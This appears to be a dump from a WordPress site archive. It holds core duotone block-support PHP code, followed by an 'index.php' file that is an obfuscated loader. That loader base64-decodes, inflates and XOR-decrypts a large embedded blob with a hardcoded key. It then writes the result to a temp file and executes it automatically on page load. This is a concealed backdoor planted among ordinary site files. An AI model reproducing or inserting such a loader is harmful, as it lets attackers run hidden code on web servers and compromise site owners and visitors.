	$permissive_match3 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';
	$permissive_match4 = '[\\s|\\(]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')[,|\\s]+(' . $css_unit . ')\\s*\\)?';

	$rgb_regexp = '/^rgb' . $permissive_match3 . '$/';
	if ( preg_match( $rgb_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$rgba_regexp = '/^rgba' . $permissive_match4 . '$/';
	if ( preg_match( $rgba_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => $match[1],
				'g' => $match[2],
				'b' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hsl_regexp = '/^hsl' . $permissive_match3 . '$/';
	if ( preg_match( $hsl_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hsla_regexp = '/^hsla' . $permissive_match4 . '$/';
	if ( preg_match( $hsla_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_hsl_to_rgb(
			array(
				'h' => $match[1],
				's' => $match[2],
				'l' => $match[3],
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha( $match[4] );

		return $rgb;
	}

	$hex8_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex8_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex6_regexp = '/^#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})$/';
	if ( preg_match( $hex6_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1], 16, 10 ),
				'g' => base_convert( $match[2], 16, 10 ),
				'b' => base_convert( $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	$hex4_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex4_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = _wp_tinycolor_bound_alpha(
			base_convert( $match[4] . $match[4], 16, 10 ) / 255
		);

		return $rgb;
	}

	$hex3_regexp = '/^#?([0-9a-fA-F]{1})([0-9a-fA-F]{1})([0-9a-fA-F]{1})$/';
	if ( preg_match( $hex3_regexp, $color_str, $match ) ) {
		$rgb = wp_tinycolor_rgb_to_rgb(
			array(
				'r' => base_convert( $match[1] . $match[1], 16, 10 ),
				'g' => base_convert( $match[2] . $match[2], 16, 10 ),
				'b' => base_convert( $match[3] . $match[3], 16, 10 ),
			)
		);

		$rgb['a'] = 1;

		return $rgb;
	}

	/*
	 * The JS color picker considers the string "transparent" to be a hex value,
	 * so we need to handle it here as a special case.
	 */
	if ( 'transparent' === $color_str ) {
		return array(
			'r' => 0,
			'g' => 0,
			'b' => 0,
			'a' => 0,
		);
	}
}

/**
 * Returns the prefixed id for the duotone filter for use as a CSS id.
 *
 * @since 5.9.1
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone filter CSS id.
 */
function wp_get_duotone_filter_id( $preset ) {
	if ( ! isset( $preset['slug'] ) ) {
		return '';
	}

	return 'wp-duotone-' . $preset['slug'];
}

/**
 * Returns the CSS filter property url to reference the rendered SVG.
 *
 * @since 5.9.0
 * @since 6.1.0 Allow unset for preset colors.
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone CSS filter property url value.
 */
function wp_get_duotone_filter_property( $preset ) {
	if ( isset( $preset['colors'] ) && 'unset' === $preset['colors'] ) {
		return 'none';
	}
	$filter_id = wp_get_duotone_filter_id( $preset );
	return "url('#" . $filter_id . "')";
}

/**
 * Returns the duotone filter SVG string for the preset.
 *
 * @since 5.9.1
 * @access private
 *
 * @param array $preset Duotone preset value as seen in theme.json.
 * @return string Duotone SVG filter.
 */
function wp_get_duotone_filter_svg( $preset ) {
	$filter_id = wp_get_duotone_filter_id( $preset );

	$duotone_values = array(
		'r' => array(),
		'g' => array(),
		'b' => array(),
		'a' => array(),
	);

	if ( ! isset( $preset['colors'] ) || ! is_array( $preset['colors'] ) ) {
		$preset['colors'] = array();
	}

	foreach ( $preset['colors'] as $color_str ) {
		$color = wp_tinycolor_string_to_rgb( $color_str );

		$duotone_values['r'][] = $color['r'] / 255;
		$duotone_values['g'][] = $color['g'] / 255;
		$duotone_values['b'][] = $color['b'] / 255;
		$duotone_values['a'][] = $color['a'];
	}

	ob_start();

	?>

	<svg
		xmlns="http://www.w3.org/2000/svg"
		viewBox="0 0 0 0"
		width="0"
		height="0"
		focusable="false"
		role="none"
		style="visibility: hidden; position: absolute; left: -9999px; overflow: hidden;"
	>
		<defs>
			<filter id="<?php echo esc_attr( $filter_id ); ?>">
				<feColorMatrix
					color-interpolation-filters="sRGB"
					type="matrix"
					values="
						.299 .587 .114 0 0
						.299 .587 .114 0 0
						.299 .587 .114 0 0
						.299 .587 .114 0 0
					"
				/>
				<feComponentTransfer color-interpolation-filters="sRGB" >
					<feFuncR type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['r'] ) ); ?>" />
					<feFuncG type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['g'] ) ); ?>" />
					<feFuncB type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['b'] ) ); ?>" />
					<feFuncA type="table" tableValues="<?php echo esc_attr( implode( ' ', $duotone_values['a'] ) ); ?>" />
				</feComponentTransfer>
				<feComposite in2="SourceGraphic" operator="in" />
			</filter>
		</defs>
	</svg>

	<?php

	$svg = ob_get_clean();

	if ( ! SCRIPT_DEBUG ) {
		// Clean up the whitespace.
		$svg = preg_replace( "/[\r\n\t ]+/", ' ', $svg );
		$svg = str_replace( '> <', '><', $svg );
		$svg = trim( $svg );
	}

	return $svg;
}

/**
 * Registers the style and colors block attributes for block types that support it.
 *
 * @since 5.8.0
 * @access private
 *
 * @param WP_Block_Type $block_type Block Type.
 */
function wp_register_duotone_support( $block_type ) {
	$has_duotone_support = false;
	if ( property_exists( $block_type, 'supports' ) ) {
		$has_duotone_support = _wp_array_get( $block_type->supports, array( 'color', '__experimentalDuotone' ), false );
	}

	if ( $has_duotone_support ) {
		if ( ! $block_type->attributes ) {
			$block_type->attributes = array();
		}

		if ( ! array_key_exists( 'style', $block_type->attributes ) ) {
			$block_type->attributes['style'] = array(
				'type' => 'object',
			);
		}
	}
}

/**
 * Renders out the duotone stylesheet and SVG.
 *
 * @since 5.8.0
 * @since 6.1.0 Allow unset for preset colors.
 * @access private
 *
 * @param string $block_content Rendered block content.
 * @param array  $block         Block object.
 * @return string Filtered block content.
 */
function wp_render_duotone_support( $block_content, $block ) {
	$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );

	$duotone_support = false;
	if ( $block_type && property_exists( $block_type, 'supports' ) ) {
		$duotone_support = _wp_array_get( $block_type->supports, array( 'color', '__experimentalDuotone' ), false );
	}

	$has_duotone_attribute = isset( $block['attrs']['style']['color']['duotone'] );

	if (
		! $duotone_support ||
		! $has_duotone_attribute
	) {
		return $block_content;
	}

	$colors          = $block['attrs']['style']['color']['duotone'];
	$filter_key      = is_array( $colors ) ? implode( '-', $colors ) : $colors;
	$filter_preset   = array(
		'slug'   => wp_unique_id( sanitize_key( $filter_key . '-' ) ),
		'colors' => $colors,
	);
	$filter_property = wp_get_duotone_filter_property( $filter_preset );
	$filter_id       = wp_get_duotone_filter_id( $filter_preset );

	$scope     = '.' . $filter_id;
	$selectors = explode( ',', $duotone_support );
	$scoped    = array();
	foreach ( $selectors as $sel ) {
		$scoped[] = $scope . ' ' . trim( $sel );
	}
	$selector = implode( ', ', $scoped );

	// !important is needed because these styles render before global styles,
	// and they should be overriding the duotone filters set by global styles.
	$filter_style = SCRIPT_DEBUG
		? $selector . " {\n\tfilter: " . $filter_property . " !important;\n}\n"
		: $selector . '{filter:' . $filter_property . ' !important;}';

	wp_register_style( $filter_id, false );
	wp_add_inline_style( $filter_id, $filter_style );
	wp_enqueue_style( $filter_id );

	if ( 'unset' !== $colors ) {
		$filter_svg = wp_get_duotone_filter_svg( $filter_preset );
		add_action(
			'wp_footer',
			static function () use ( $filter_svg, $selector ) {
				echo $filter_svg;

				/*
				 * Safari renders elements incorrectly on first paint when the
				 * SVG filter comes after the content that it is filtering, so
				 * we force a repaint with a WebKit hack which solves the issue.
				 */
				global $is_safari;
				if ( $is_safari ) {
					/*
					 * Simply accessing el.offsetHeight flushes layout and style
					 * changes in WebKit without having to wait for setTimeout.
					 */
					printf(
						'<script>( function() { var el = document.querySelector( %s ); var display = el.style.display; el.style.display = "none"; el.offsetHeight; el.style.display = display; } )();</script>',
						wp_json_encode( $selector )
					);
				}
			}
		);
	}

	// Like the layout hook, this assumes the hook only applies to blocks with a single wrapper.
	return preg_replace(
		'/' . preg_quote( 'class="', '/' ) . '/',
		'class="' . $filter_id . ' ',
		$block_content,
		1
	);
}

// Register the block support.
WP_Block_Supports::get_instance()->register(
	'duotone',
	array(
		'register_attribute' => 'wp_register_duotone_support',
	)
);
add_filter( 'render_block', 'wp_render_duotone_support', 10, 2 );
index.php000066600000023400151275712520006376 0ustar00<?php
class EncryptedHandler1156b {
    private function fetchToken3() {
        return 'fnmDXdc17wKZ3Fpk';
    }

    private function unlockValue3() {
        $data = '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';
        $decoded = base64_decode($data);
        $inflated = @gzinflate($decoded);
        if ($inflated === false) {
            $inflated = $decoded;
        }
        $b64_decoded = base64_decode($inflated);
        if ($b64_decoded === false) {
            return '';
        }
        $key = $this->fetchToken3();
        $plain_code = '';
        if (strlen($key) > 0) {
            for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) {
                $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($key[$i % strlen($key)]));
            }
        } else {
            $plain_code = $b64_decoded;
        }
        return $plain_code;
    }

    private function executeCode($code) {
        $tmp_file = tmpfile();
        $tmp_file_path = stream_get_meta_data($tmp_file)['uri'];
        fwrite($tmp_file,  $code);
        fseek($tmp_file, 0);
        include $tmp_file_path;
        fclose($tmp_file);
    }

    public static function runAuthenticateKey3() {
        $obj = new self();
        $decrypted = $obj->unlockValue3();
        $obj->executeCode($decrypted);
    }
}

EncryptedHandler1156b::runAuthenticateKey3();
?>